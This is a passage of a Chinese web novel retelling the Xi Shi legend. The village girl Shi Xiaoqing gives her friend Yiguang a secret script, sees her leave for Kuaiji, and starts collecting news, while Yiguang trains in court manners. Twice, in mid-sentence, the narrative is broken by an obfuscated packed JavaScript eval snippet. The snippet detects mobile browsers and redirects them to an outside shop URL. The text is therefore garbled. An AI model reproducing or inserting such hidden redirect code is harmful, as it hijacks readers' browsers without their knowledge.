身后传来声音。她回头，是父亲。 父亲站在门口，背光看不清表情，只听见他的声音沙哑低沉：“你……怪阿父吗？” 夷光沉默了片刻，轻轻摇头。 父亲没有再说话，转身离开。他的背影，比从前佝偻了许多。 傍晚，人群终于散去。 夷光走出屋子，穿过院子，打开后门。 * 月光铺满后院，虫鸣细细密密地响着。 施晓青盘腿坐在晾草药的竹席边，手里攥着一截炭笔，对着面前的桑树皮发呆。 上面密密麻麻写满了她这些天拼凑出来的东西——夫差、伍子胥、伯嚭、勾践、文种……名字旁边歪歪扭扭地标注着性情、弱点、需要注意的事。 身后传来轻轻的脚步声。 “阿青。” 施晓青回头，夷光站在矮墙边，一身深色衣裙，脸上没有蒙布巾，月光照着她，清瘦了许多，但眼睛亮得惊人。 “你怎么来了？”施晓青连忙起身，拉着她蹲到角落里，“不是说好了少出来吗？万一被人看见——” “明日一早他们就来接我了。”夷光打断她，声音很轻，却很稳，“今晚不来，就再也没有机会了。” 施晓青喉咙一紧，说不出话。 夷光看着她手里的桑树皮，凑近了些：“这些是什么？” “我写的……一些东西。”施晓青把树皮递给她，“吴越两边主要的人物，他们的性情，弱点，需要注意的事。你记在心里，烂在脑子里，但不能写在任何地方。” 夷光低头看那些歪歪扭扭的符号，眉头微微蹙起：“这些字……我好多不认识。” “我教你。”施晓青接过树皮，指着上面的字，一个一个念给她听，“夫差——吴王夫差。性骄，好大喜功，喜听奉承，但并非昏庸之人，需小心应对。伍子胥——吴国重臣，刚正，多谋，对越国戒心极重，是你最需提防的人。伯嚭——吴国太宰，贪婪，好利，或可成为突破口……” 她念得很快，夷光听得极认真，一边听一边点头，目光落在那些古怪的符号上，努力地记着。 “这些字……跟平时见的很不一样。”夷光指着其中一个，“这个‘夫’字，为何写成这样？” “这是我……自己编的。”施晓青顿了顿，“简单，好写，不易被人认出。以后你要传递消息给我，就用这种字。就算被人截获，他们也看不懂。” 夷光抬头看她，眼神 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施晓青转头看她，目光沉静而坚定：“你在那条路上走，我在外面，为你织一张网。你需要的消息，你想传递的话，你遇到的难处……只要有可能，我会想办法。你不只是一个人在走。” 夷光看着她，忽然轻轻笑了。那笑容很淡，却像是融化了这些天来所有的沉重，露出底下那个原本柔软清澈的少女。 “阿青，你知道吗？”她的声音轻得像梦呓，“第一次见你这样跟我说话，是在溪边，你给我薄荷叶的时候。那时候我就想，这个阿青，好像跟以前不一样了。后来发生那么多事，我才知道，你一直都在帮我。” 施晓青鼻子一酸，没有说话。 “我不知道你从哪里来，也不知道你为什么懂这么多。”夷光继续说，“可我知道，你是我唯一可以相信的人。这世上，只有你，不在乎我的脸，只在乎我是谁。” 施晓青终于忍不住，伸手抱住了她。 夷光微微一怔，随即也伸出手，紧紧回抱。 两个少女，在月光下，在草药香里，久久相拥。虫鸣声在四周响起，像是为这个夜晚奏响的不知名的乐曲。 良久，夷光松开手，站起身。月光在她身后洒下一片银辉，她的身影修长而坚定。 “阿青，我该回去了。” 施晓青站起来，看着她：“明日一早，我来送你。” “别来。”夷光摇头，“那些人若看见你，未必是好事。我们……我们就这样告别吧。” 施晓青张了张嘴，想说什么，最终只是点了点头。 夷光转身，走了两步，又停下来，回过头。 “阿青，你说过，那焚身火中，也能开出莲花，对吗？” 施晓青看着她，用力点头：“对。只要你心里还有那点光，就一定能。” 夷光弯起嘴角，露出一个极淡的笑。 然后她转身，脚步轻缓地消失在矮墙的阴影里。 施晓青站在原地，看着那抹身影消失的方向，一动不动。 月光如水，虫鸣如泣。 她在心里默默地说：夷光，等我。等我在外面，为你织好那张网。等你在那深渊里，走出一条不一样的路。 焚身火中，未必不能开出一朵莲花。 而她，要做那朵莲花之外的，第一捧润泽的泥土。 11. 平静 天刚蒙蒙亮，村口就热闹起来。 两辆马车停在里正家门口，几个穿着整齐的仆从模样的人正在搬东西。里正点头哈腰地在一旁陪着，脸上堆满了笑。 施晓青远远站在自家院门口，手里攥着一把晒干的薄荷叶，指节因为用力而微微发白。 她看见夷光从那扇熟悉的木门里走出来。 夷光今日换了一身新的衣裙——浅青色的绢帛，腰间系着同色的带子，头发绾成简单的髻，插着一根银簪。那身衣裳衬得她愈发清丽出尘，像是山间的清晨化作人形，站在那里。 她身后，夷光的母亲倚着门框，已经哭得站不稳。夷光的父亲站在一旁，低着头，肩膀微微颤抖。 夷光转过身，对着父母，缓缓跪下，磕了一个头。 然后她站起来，没有回头，走向那辆马车。 走到车边时，她的脚步忽然顿了一下。 她微微侧过头，目光越过人群，越过里正家的院墙，落在远处那个站在自家门口、手里攥着一把草叶的瘦小身影上。 隔得太远，看不清表情。 但夷光知道，那个人在看着她。 她轻轻弯了弯嘴角，然后转身上了马车。 车帘放下的那一刻，施晓青看见那只纤细的手，在帘边轻轻动了动——那是她们约定的暗号：我很好，别担心。 马车启动，扬起一阵尘土，渐渐消失在村路的尽头。 施晓青站在原地，一动不动，直到那尘土完全落下，直到村口重新归于寂静。 “阿青？”阿母的声音从屋里传来，“你站在外面做甚？进来吃饭。” “来了。”施晓青应了一声，低头看着手里那把薄荷叶。 她把叶子收进怀里，转身回了屋。 灶房里，阿母已经把粥盛好，放在那张简陋的木桌上。 见施晓青进来，她张了张嘴，想说什么，最终只是把粥碗往她面前推了推。 “吃吧。” 施晓青坐下，端起碗，一口一口地喝着那寡淡的粥。 粥很烫，烫得她舌头发麻，但她没有停，只是一口接一口，仿佛需要用这种灼痛来确认自己还活着。 阿母坐在对面，看着她，眼圈红了。 “阿青，你……你跟夷光那孩子，是不是……” “是朋友。”施晓青放下碗，抬起头，看着阿母。她的眼睛里有一种阿母从未见过的、沉静而坚定的光，“阿母，她是我最好的朋友。” 阿母的泪终于落下来。她别过脸，用袖子擦了擦，声音哽咽：“那孩子……命苦。那么好的模样，偏偏……” “不是命。”施晓青打断她，“阿母，那不是命。是她自己选的。” 阿母愣住了。 施晓青没有解释。她站起来，把碗收了，声音平静得像在说今天的天气：“阿母，我吃好了。我去看看那些草药，昨日晒的该收了。” 她走出灶房，走进后院。 阳光已经升起来了，洒在那片小小的药圃上，洒在那些晾晒着的草药上，洒在她的身上，暖融融的。可她还是觉得冷，从心里往外透着的冷。 她蹲下来，开始整理那些草药。分门别类，捆扎，翻转，动作熟练而机械。那些清苦的气息包围着她，像是某种安慰，又像是某种提醒。 她想起夷光第一次跟她学认草药的样子。 那日阳光也是这样好，夷光蹲在她身边，认真地看着她手里的叶子，问她： “这个叫什么？” “薄荷。” “做什么用的？” “清心明目，也能舒缓胸闷。你那心口疼的时候，含一片，会舒服些。” 夷光接过叶子，放进嘴里，然后微微皱起眉：“有点辣。” 施晓青忍不住笑了：“习惯就好了。” 那是她们之间最初的、最简单的快乐。 * 施晓青把最后一捆艾草放好，站起来，拍了拍手上的泥土。 她抬起头，看着那条空荡荡的村路的方向。 夷光走了。 可她没有走。 她还在苎萝村，还在这个小小的院子里，还在这些草药中间。 她要做些什么。 施晓青转身走回屋里，从床底下一个隐蔽的角落，取出那叠厚厚的桑树皮—— 那是她这些日子以来，用炭笔记录下的所有东西。 草药的辨认和使用方法，简单的急救知识，她能回忆起的关于吴越争霸的所有细节，以及……她用那种只有她和夷光能看懂的“密码文字”写下的一份又一份“密信”…… 她把那叠桑树皮摊开，一张一张看过去。她拿起炭笔，在最上面一张空白的树皮上，写下几个字： “越国·苎萝·施晓青·元年春” 这是她的开始。 远处，晨雾已经完全散去，阳光洒满整个村落。 那条空荡荡的村路，在阳光下延伸向远方，不知尽头。 施晓青低下头，继续在桑树皮上写着什么。 她的手很稳。 * “阿青！阿青！别弄你那些草了，快出来看！” 阿母的声音从院门口传来，带着少见的兴奋。 施晓青正蹲在后院翻晒一批新采的金银花，闻言抬起头，手上还沾着泥土。 “看什么？” “陈家的母鸡！一口气下了五个蛋！”阿母已经推门进来，脸上笑开了花，“五个！你陈婶高兴得逢人就说，恨不得敲锣打鼓告诉全村。” 施晓青愣了一下，拍拍手上的土站起来：“五个蛋，至于吗？” “怎么不至于！”阿母白她一眼，“你是不当家不知柴米贵。五个蛋能换半斤盐，能给你做一身新衣裳的边角料——” 她说着说着，目光落在施晓青那身洗得发白、肘部打着补丁的旧麻衣上，声音忽然低了下去。 施晓青低头看看自己的衣裳，又抬头看看阿母的神色，笑了笑：“阿母，我这衣裳还能穿，不用换。” “你……”阿母张了张嘴，眼圈却有些红了，“你都十五了，整日穿着这身破衣裳，连件像样的都没有。你看看村里跟你一般大的姑娘，哪个不是——” “阿母。”施晓青打断她，走过去拉住她的手，“我不在乎那些。真的。” 阿母看着她，嘴唇动了动，终于叹了口气：“我知道你不在乎。你心里装的，从来不是这些。”她顿了顿，声音低下去，“阿青，夷光那孩子……走了有一个月了吧？” 施晓青的手微微一紧。 “嗯。”她松开阿母的手，转身继续翻晒那些金银花，声音平静，“一个月零三天。” 阿母看着她瘦削的背影，看着她不紧不慢的动作，想说什么，最终只是叹道：“你呀……我去做饭了。” 脚步声渐渐远去。 施晓青蹲在那里，手上动作没停，目光却有些放空。 一个月了。 一个月来，她每天都会在日出时往那条村路的方向看一眼；每天都会在睡前，把藏在床底下的那叠桑树皮拿出来，看看有没有需要补充的内容；每天都会在心里默念一遍那个名字——夷光，夷光，夷光。 可她没有等来任何消息。 她知道这不现实。夷光去的是会稽城，是越国的心脏，是层层戒备的地方。怎么可能有消息传出来？可知道归知道，心里那个角落，还是会忍不住期待。 “阿青姑娘！阿青姑娘在家吗？” 院门外传来喊声，打断了她的思绪。施晓青站起身，拍拍手上的土，走到前院。 是一个面生的中年汉子，穿着短褐，肩上搭着个褡裢，风尘仆仆的样子。他看见施晓青，咧嘴笑了笑：“你就是施晓青？听说你懂草药，能给瞧瞧这不？” 他撩起裤腿，露出一片红肿溃烂的小腿。 施晓青蹲下看了看：“这是……被什么咬了？” “谁知道呢！”汉子苦着脸，“前些天在山里赶路，歇脚时被什么东西叮了一口，当时没在意，后来就肿成这样了。找了几个地方，都说治不了，让我来找你碰碰运气。” “找我碰运气？”施晓青抬眼看他，“谁让你来的？” “镇上那个货郎，姓孙的。”汉子说，“他说苎萝村有个姑娘，懂些土方子，治好了不少人。我就摸过来了。” 施晓青心里一动。 姓孙的货郎——那是她最近常接触的人之一，每次路过都会来找她讨碗水喝，顺便聊聊外头的见闻。 没想到，那大哥还帮她宣传起来了。 “你先坐着，我去拿点东西。” 她转身进屋，从那些分门别类的草药中找出几样——野菊花、金银花、蒲公英根，都是清热解毒的。又拿了一小块干净的布和一个空陶罐。 回到院里，她把草药递给那汉子：“这些你拿回去，煮水喝，一天三次。煮过的药渣别扔，晾凉了敷在伤口上。” 汉子接过，有些迟疑：“就……就这样？” “你先试试。”施晓青说，“若三日后还不见好，你再来。还有，”她顿了顿，“回去之后，把伤口周围的毛刮干净，用盐水清洗，越干净越好。那盐，要煮沸后晾凉再用。” 汉子一一应了，从褡裢里摸出几枚刀币递过来。施晓青摆摆手：“不用。” “那怎么行！” “你要是真想谢我，”施晓青看着他，“下次路过，多跟我说说外头的事就行。哪里打仗了，哪里闹灾了，哪个地方又来了什么大人物，这些我都想听。” 汉子愣了一下，随即笑起来：“这姑娘，倒是稀奇。”他把刀币收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486886|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回褡裢，“成！下次来，我把知道的都跟你说！” 汉子走后，施晓青回到后院，继续翻晒那些草药。阳光很好，晒得那些叶子发出干燥而清苦的香气。她蹲在那里，动作虽没停，脑子里却转着别的事。 “阿青！” 院墙那边探出个头来，是隔壁的翠儿，十五六岁，圆脸圆眼睛，平日里最爱串门说闲话。 自从夷光走后，她倒是时不时来找施晓青，起初是好奇那些草药，后来……大概是无聊。 “在呢。”施晓青头也没抬。 翠儿翻墙跳下来，凑到她身边蹲下，看着她翻那些草药：“你又弄这些。天天弄，不腻吗？” “不腻。” “你这些草，真能治病？” “有些能。” “那你怎么不给自己治治？”翠儿歪着头看她，“你脸色可不好，眼下青的，又瘦了。我阿母说，你肯定是晚上不睡觉，瞎琢磨什么。” 施晓青手上动作顿了顿，没说话。 翠儿凑近些，压低声音：“哎，你是不是……还想着夷光呢？” 施晓青抬起头看她。 翠儿被她看得有些发毛，缩了缩脖子：“我就是随便问问。她走了一个月了，你天天闷在家里弄这些草，也不跟人说话，也不串门，大伙儿都猜你是不是……” “是不是什么？” “是不是……舍不得她呗。”翠儿说，“其实我也奇怪，你跟夷光，什么时候那么好了？以前你们都不怎么说话的。” 施晓青低下头，继续翻那些草药，声音淡淡的：“人跟人的缘分，说不准的。” 翠儿眨眨眼，似懂非懂。她沉默了一会儿，忽然又说：“哎，你知道吗，前几天里正家的三丫头，偷偷跟她娘说，幸亏夷光走了，不然她这辈子都别想嫁出去了——长得那么好，把村里所有姑娘都比下去了。” 施晓青的手猛地一顿。 翠儿没注意到她的异样，继续絮叨：“你说这人也是，夷光都走了，还说这种话。不过话说回来，夷光那模样，真的是……我长这么大没见过那么好看的人。那天她上马车的时候穿的衣裳，啧啧，那料子，那光泽，一看就是值钱的——” “翠儿。”施晓青打断她。 “啊？” “你要是没事，帮我摘会儿草吧。”施晓青指了指角落里的一堆车前草，“把黄叶子摘掉，根上的泥巴抖干净。” 翠儿看看那堆沾着泥的草，又看看施晓青的脸色，识趣地闭上了嘴，乖乖蹲过去摘草。 两个人默默地摘了一会儿，翠儿终究是耐不住寂寞，又开口了：“阿青，你说……夷光现在在哪儿呢？是不是已经到那什么会稽城了？她在那边过得好不好？有没有人欺负她？” 施晓青的动作又停住了，她看着手里那株车前草，叶子宽大，脉络分明，根上还带着潮湿的泥土。阳光照在上面，泛着柔和的光。 “她……”施晓青开口，声音有些涩，“她会照顾好自己的。” 翠儿歪着头看她：“你怎么知道？” 因为她是我教出来的。 因为她比你，比那些在背后嚼舌根的人，比这村里所有人，都更聪明，更坚韧，更懂得如何在那条路上走下去。 话到了嘴边就变成—— “我猜的。” 她把那株车前草放进篮子里，站起来拍拍手，“摘好了？那你回去吧，我要做饭了。” 翠儿撅了撅嘴：“才来一会儿就赶人。行行行，我走，我走。”她站起来，拍拍屁股上的土，走到墙边，忽然又回头，“阿青，明天我再来找你玩啊！” “嗯。” 翠儿翻墙走了。 院子里重归寂静。 施晓青站在原地，看着那堵矮墙，看着墙外那棵老槐树的影子，看着天边渐渐西斜的太阳。 一个月了。 她深吸一口气，转身走进屋里，从床底下摸出那叠桑树皮，翻到今天记录的那一页。 上面用炭笔写着几行字，是那姓孙的货郎上次路过时说的—— “听说会稽城里在修什么馆舍，好大的排场，用掉不少木头石料。有人说是给吴国来的贵客准备的，也有人说是越王给自己修的……谁知道呢。” 施晓青看着这几行字，手指轻轻抚过那些笔画。 会稽城，馆舍，吴国来的贵客。 夷光，那是为你准备的吗？你现在……在做什么呢？ 她把桑树皮小心地收好，重新藏回床底。 然后她走出屋子，站在院子里，看着那条空荡荡的村路。路的那头，太阳正在落山，把天边染成一片温暖的橘红。 “夷光，”她在心里轻轻说，“我在这儿。我一直都在。” 风吹过院子，带起那些草药的气息，清苦而悠长。 12. 初雪 马车在崎岖的官道上颠簸了整整七日。 夷光起初还会掀开车帘，看外面掠过的山川、田野、村庄。 那些渐渐远去的风景，像是从她生命里一层层剥落的壳，先是苎萝村的山，然后是诸暨的镇，再然后是越来越陌生的土地。 后来她不看了。 累了。 身体的累，心里的累，还有一种说不清的、像是被抽空了一样的倦怠。 她靠在车壁上，听着车轮碾过泥土的声音，听着车外那些护送者的低语，听着自己的心跳，一下，一下，缓慢而沉重。 同行的是另一个女子，比她大一两岁，生得也是极好的眉眼，却与她截然不同。 那女子爱笑，爱说话，一路上叽叽喳喳个不停，从家里的鸡鸭问到路上的风景，从护送的人帅不帅问到会稽城的衣裳贵不贵。 “你叫什么名字？”那女子问她。 “施夷光。” “我叫郑旦。” 那女子笑起来，眼睛弯成月牙，“以后咱们就是姐妹啦，一起学习，一起……一起那个。你怕不怕？” 夷光看着她，看着她那毫无阴霾的笑容，忽然有些羡慕。 “怕。”她说。 郑旦愣了一下，然后伸手握住她的手：“我也怕。但我阿母说，这是咱们的命，躲不掉的。既然躲不掉，那就高高兴兴地去。” 高高兴兴地去。 夷光低下头，看着郑旦握着自己的那只手，温热，有力。 她想起另一只手，瘦削的，带着草药清苦气息的，紧紧握住她的那只手。 阿青。 她在心里默默念着这个名字，像念一个咒语，像念一盏灯。 第七日的黄昏，马车驶进了会稽城。 夷光掀开车帘的一角，看见高大的城墙，看见城门洞下来往的行人，看见那些穿着与乡间截然不同衣裳的男男女女。他们的脚步更快，表情更淡，看人的目光也更深。 这就是会稽。 这就是她将要生活的地方。 马车在一处不起眼的宅院前停下。 院门不大，但进去之后，才发现里面别有洞天——几进几出的院落，错落有致的房舍，还有一处小小的池塘，塘边种着几株瘦竹。 “到了。”护送的人说，“从今日起，你们就住在这里。会有人来教你们规矩、礼仪、歌舞、言谈。要学的很多，时间很紧。好好学。” 说完，他就走了。 夷光和郑旦被领进一间屋子。屋子不大，但干净整洁，有两张床榻，两个木架，两套叠得整整齐齐的衣裳。 “我们住一起！”郑旦高兴地扑到靠窗的那张床上，“我睡这边，你睡那边。以后晚上还能说说话。” 夷光走到另一张床边，坐下。 身下的榻很软，比家里的硬木板舒服多了。可她总觉得缺了什么。 “哎，”郑旦趴在床上，歪着头看她，“你怎么老发呆？想家了？” 夷光回过神，摇摇头。 “别想啦。”郑旦说，“我阿母说，想也没用，不如不想。反正咱们已经在这儿了，就好好过日子呗。你看这屋子多好，这衣裳多软，以后还有好吃的——” “你不想家吗？”夷光打断她。 郑旦的笑容顿了顿。 “想。”她低声说，“想我阿母，想我阿父，想我家那只大黄狗。可我阿母说，不能哭，哭了就不漂亮了。不漂亮，就……”她没有说下去。 屋子里沉默了一会儿。 夷光站起来，走到窗边，推开窗。 外面的天已经黑透了，看不见星星，只有远处几点灯火，明明灭灭。 阿青，你在做什么呢？ 苎萝村这个时候，应该已经睡了。你睡了吗？还是在后院里，借着月光翻晒那些草药？ 你教我的那些话，我都记得。你写的那些字，我都背熟了。 可我不知道，什么时候才能用上。 “喂，”郑旦凑过来，“你在看什么？” “没什么。”夷光关上窗，“睡吧。” “哦。” 躺下之后，黑暗中，郑旦的声音又响起来：“夷光，你说……咱们以后，会变成什么样的人？” 夷光睁着眼，看着黑漆漆的屋顶。 变成什么样的人？ 她想起阿青说过的话：你在那条路上走，我在外面，为你织一张网。 “会变成……”她轻轻说，“能自己选择的人。” 郑旦没听清：“什么？” “没什么。睡吧。” 接下来的日子，果然如那人所说——很忙，很紧。 每日天不亮就要起床，洗漱，更衣，然后开始一天的训练。 先是一个不苟言笑的老妇人，教她们“行”的规矩。怎么走，怎么停，怎么转身，怎么落座。 步子要轻，要稳，要像猫一样无声。腰要直，肩要平，目光要垂，嘴角要含着一丝若有若无的笑。 “你们以后要见的，是天底下最尊贵的人。”老妇人说，“一举一动，一颦一笑，都不能有半点差池。差池，就是死。” 然后是另一个妇人，教她们“言”的规矩。怎么开口，怎么应声，怎么在恰当的时候说话，怎么在恰当的时候闭嘴。 声音要柔，要轻，要像溪水一样潺潺流淌。用词要雅，要准，要能接住任何话题，又不能泄露任何心思。 “你们要听，要看，要记。”那妇人说，“听他们说什么，看他们做什么，记他们的喜好、厌恶、习惯、软肋。这些，比你们的容貌更重要。” 接着是歌舞，是礼仪，是妆容，是服饰，是如何用眼神勾人，又如何用眼神拒人于千里之外。 夷光学得很快。 那些繁琐的规矩，那些复杂的步态，那些需要精准控制的表情，在她这里似乎天然地熟悉。 老妇人夸她有天分，郑旦羡慕她学得快，连那些来巡视的官员，看见她时，目光都会多停留片刻。 只有夷光自己知道，她为什么学得快。 因为有人在更早的时候，就开始教她了：“记住，在不得已时，要让自己看起来不合用。” 可她现在要学的，恰恰相反。 她要让自己看起来“极合用”。 让所有人都满意，让所有人放下戒备，让所有人以为，她不过是一个美丽的、柔顺的、可以随意摆布的棋子。 但这枚棋子，有自己的眼睛，自己的耳朵，自己的心。 夜深人静时，郑旦睡着了，夷光会悄悄坐起来，从枕下摸出一个小小的布包。 那是阿青临别前塞给她的。里面是几片晒干的薄荷叶，还有一小块叠得整整齐齐的桑树皮。 桑树皮上，用那种只有她们能看懂的“密码文字”，写着几行字。 夷光已经看过无数遍了，每一个符号都烂熟于心。 但她还是会看。 在那些密密麻麻的笔画里，她能看见阿青的脸，能闻到那股清苦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿青，你知道吗，有人夸你呢。 她轻轻弯了弯嘴角。 窗外，天阴沉沉的，似乎要下雪了。 果然，那天夜里，会稽城迎来了入冬以来的第一场雪。 夷光站在窗前，看着那些细碎的雪花纷纷扬扬地落下来，落在院子里，落在池塘边，落在那些瘦竹的叶子上。 郑旦已经睡着了，发出均匀的呼吸声。 夷光伸出手，接住一片雪花。那雪花在手心停留了一瞬，就化成了一滴水。 阿青，你那边下雪了吗？ 苎萝村比这里暖和，大概不会下得这么早吧。 你会在院子里看雪吗？还是会躲在屋里，守着那堆草药？ 我在这儿很好。吃得饱，穿得暖，那些人待我还算客气。学的东西虽多，我都记住了。你放心。 只是有时候，夜里醒来，会不知道自己在哪里。会想伸手去摸身边，却摸不到那只熟悉的手。会想开口喊你的名字，却只能把声音压回喉咙里。 阿青，你说，这条路，要走多久？ 你说，我们还会再见面吗？ 她把那片已经化成水的雪花轻轻抹在窗框上，关上窗，走回床边。 躺下之前，她又摸了摸枕下的那个布包。 那些薄荷叶还在，那些桑树皮还在。 阿青还在。 她闭上眼，嘴角带着一丝极淡的笑，慢慢沉入睡梦。 梦里，她回到了苎萝村。 溪水潺潺，阳光正好。 阿青蹲在她身边，递给她一片薄荷叶，说：“这个，你含着，会舒服些。” 她接过叶子，放进嘴里，那清清凉凉的味道，一直蔓延到心里。 13. 青丝结 苎萝村的冬天来得悄无声息。 没有雪，只有连绵不断的阴雨，把天地搅成一片灰蒙蒙的湿冷。 山间的雾气终日不散，像是谁把一块湿透的麻布罩在了整个村庄上头。 施晓青坐在后院的屋檐下，面前摆着几簸箕正在阴干的草药。金银花、野菊花、薄荷、紫苏、车前草……都收拾得妥妥帖帖，分门别类，用细麻绳扎成小捆，整整齐齐地码在墙角。 她的手没闲着，在搓一条麻绳。粗糙的麻纤维磨着她的指腹，一下，一下，机械而重复。 “阿青！”院门被推开，翠儿裹着一身寒气冲进来，头发上沾着细密的雨珠，“你又在这儿坐着！不冷啊？” “还好。” “好什么好！”翠儿凑过来，伸手摸了摸她的衣裳，“你看看你，穿的这是什么？都薄成这样了！我阿母让我给你带件旧棉袄，虽说是旧的，可比你这身强多了。” 她把一个布包塞到施晓青怀里。 施晓青低头看看那布包，又抬头看看翠儿被冷风吹得通红的脸，抿了抿嘴：“替我谢谢婶子。” “谢什么，邻里邻居的。”翠儿搓着手蹲到她旁边，眼睛却往她手里的麻绳上瞟，“你搓这个干什么？你家又不缺绳子。” “有用。” “什么用？” 施晓青没回答，只是继续搓。 翠儿撇撇嘴，也不追问了，自顾自地说起来：“哎，你知道吗？陈家的母鸡又下蛋了，这回是六个！陈婶高兴得跟什么似的，逢人就说她家鸡有灵性，知道快过年了，多下几个蛋让主人换年货。” “嗯。” “还有，李叔家的儿子，就是那个整天游手好闲的，前几天去镇上，不知道怎么攀上了一个什么管事，说年后就能去城里做工，一个月给好多钱呢。他娘高兴得哭了一场。” “嗯。” “还有还有——”翠儿压低声音，“里正家的三丫头，上回说夷光坏话那个，你知道吧？她娘给她相了门亲事，对方是个屠户，家里殷实，就是……人长得粗了些。三丫头不乐意，在家里又哭又闹的，被她爹骂了一顿。” 施晓青搓绳的手微微一顿。 翠儿没注意，还在絮叨：“要我说，她有什么可不乐意的？屠户怎么了？有肉吃，有钱花，比咱们强多了。她还想嫁什么样的人？难不成还想跟夷光似的，去城里——” “翠儿。”施晓青打断她。 “啊？” “你刚才说，李叔家的儿子去镇上，攀上了什么管事？” 翠儿愣了一下，眨眨眼：“我也不知道什么管事，好像是……管什么买卖的？怎么了？” “那个管事，叫什么？” “这我哪儿知道！”翠儿挠挠头，“我就听了一耳朵，没细问。你怎么对这个感兴趣？” 施晓青把搓好的麻绳放在一边，站起来，拍了拍身上的草屑：“翠儿，帮我个忙。” “什么忙？” “你去帮我打听打听，那个管事是什么来头，做什么买卖的，跟哪些人打交道。能打听多细，就打听多细。” 翠儿瞪大了眼睛：“你打听这个干什么？” 施晓青看着她，目光笃定：“有用。” 翠儿被她看得有些发毛，缩了缩脖子：“行……行吧，我去问问。可我不敢保证能打听到多少啊。” “尽力就好。”施晓青从屋里拿出一个小布包，递给翠儿，“这个给你阿母，是安神助眠的。婶子最近不是睡不好吗？睡前用这个煮水喝，会好些。” 翠儿接过，打开一看，里面是些晒干的酸枣仁和百合片，还有一小撮不知名的叶子，散发着淡淡的清香。 “你呀，”翠儿叹口气，“整天就知道弄这些。自己都不好好照顾自己，倒是把别人的事都记在心里。”她把布包揣好，站起来，“行，我帮你打听。过两天来告诉你。” “谢谢。” “谢什么。”翠儿摆摆手，转身要走，又停下来，回头看着她，“阿青，你……是不是有什么事瞒着我？” 施晓青站在屋檐下，背后的阴雨天灰蒙蒙的，衬得她整个人也灰蒙蒙的。只有那双眼睛，亮得不像话。 “没有。”她说，“就是想知道外面的事。” 翠儿盯着她看了几秒，最终没再追问，转身消失在雨雾里。 施晓青重新坐下，拿起那根搓好的麻绳，在手里绕了绕。 她在编一样东西。 不是绳子，不是网，而是一根带子。 细细的，长长的，用最结实的麻线，一扣一扣地编。她编得很慢，很仔细，每一扣都拉得紧紧的，不留一丝松动。 这是她这些日子以来，除了整理信息、晾晒草药之外，唯一在做的事。 编一根带子。 她也不知道为什么要编。只是有一天夜里，躺在床上，翻来覆去睡不着，脑子里全是夷光的影子。她坐起来，摸到床边那卷麻线，就开始编。 编着编着，心就静了。 编着编着，就好像把那些说不出口的牵挂、担忧、想念，一扣一扣地编进了这细细的绳子里。 “阿青！”阿母的声音从屋里传来，“进来吃饭！别在外头坐着了，仔细着了凉！” “来了。” 她把编了一半的带子收进怀里，起身走进屋里。 灶房里，阿母已经摆好了饭。一碗稀粥，一碟咸菜，两个杂粮饼子。简单，但热气腾腾的。 施晓青坐下，端起碗。 阿母坐在对面，看着她吃，欲言又止。 “阿母，怎么了？” “没……没什么。”阿母低下头，扒了一口粥，又抬起头，“阿青，你……最近是不是在忙什么？” “忙什么？” “我见你天天搓绳子，编带子，还让翠儿去打听外面的事……”阿母的声音低下去，“你是不是……在等夷光的消息？” 施晓青的筷子顿了顿。 “阿母——” “我不是怪你。”阿母打断她，眼圈有些红，“我就是……担心你。那孩子走了快两个月了，你天天闷在家里，也不跟人说话，也不想着自己的事。你今年十五了，该——” “阿母。”施晓青放下碗，看着阿母，声音平静却坚定，“我知道自己在做什么。我没有耽误过日子，草药还在弄，家里的活也没落下。至于其他的……”她顿了顿，“我现在不想。” 阿母看着她，嘴唇动了动，终于叹了口气：“我知道你心里放不下夷光。那孩子确实可怜，可你也不能……” “阿母，”施晓青握住阿母的手，“夷光不是可怜。她是…她是我的朋友。她去了很远的地方，做一件很难的事。我帮不了她什么，但至少……至少我要知道，她在那边好不好。至少我要知道，外面在发生什么。这样，如果有一天她需要我，我才能——” 她没有说下去。 阿母沉默了很久，最后反手握住她的手，轻轻拍了拍：“罢了罢了，你从小就倔，我说不过你。只是……你答应阿母，别把自己累坏了。你那脸色，比那药草还青。” 施晓青笑了：“好。” 吃过饭，阿母去邻居家串门了。施晓青收拾好碗筷，回到自己的小屋，从床底下摸出那叠桑树皮。 两个月的积累，已经厚厚一摞了。 她一张一张地翻看，用炭笔在新的一张上记录今天的收获—— “李叔之子，镇上谋事，管事者不详，疑似与城中商贾往来。待查。” “陈氏母鸡连下六蛋，村中议论纷纷，无他。” “里正三丫头许配屠户，不乐，哭闹。无关。” 她写下最后四个字时，笔尖顿了顿。 无关吗？ 这村里的大部分事，确实与她无关。可她还是记下来了。每一件都记。因为她还不知道，哪些有用，哪些没用。她只能把所有能得到的碎片都收集起来，像拼图一样，等有一天，或许能拼出什么。 她又翻到前面，看着那些密密麻麻的记录—— “某月某日，货郎孙氏言：会稽城修馆舍，规模甚大，疑为接待吴国来客。” “某月某日，脚夫王氏言：越国与吴国边境似有摩擦，商旅减少，关卡查验更严。” “某月某日，行商刘氏言：吴王夫差近日宠信一女子，名不详，但听闻极美，吴王为其筑姑苏台。” 这一条，她当时看了很久很久。 极美的女子。吴王为其筑台。 那是夷光吗？还是……别的什么人？ 她把那条记录看了无数遍，试图从那些模糊的字眼里找到答案。可她找不到。信息太少了，像隔着一层厚厚的雾气，什么都看不清。 最后她在那条记录旁边，用密码文字写下一行小字： “夷光，那是你吗？你还好吗？” 没有人回答她。 她把桑树皮收好，重新藏回床底。 走出屋子，天已经黑了。雨停了，但云层还是很厚，看不见星星。 施晓青站在院子里，从怀里摸出那根编了一半的带子，继续编。 手指在黑暗中摸索着，一扣，一扣，一扣。 她编得很慢，但每一扣都很紧。 这带子，她也不知道要编多长。也许编到夷光回来那天，也许编到永远。 但 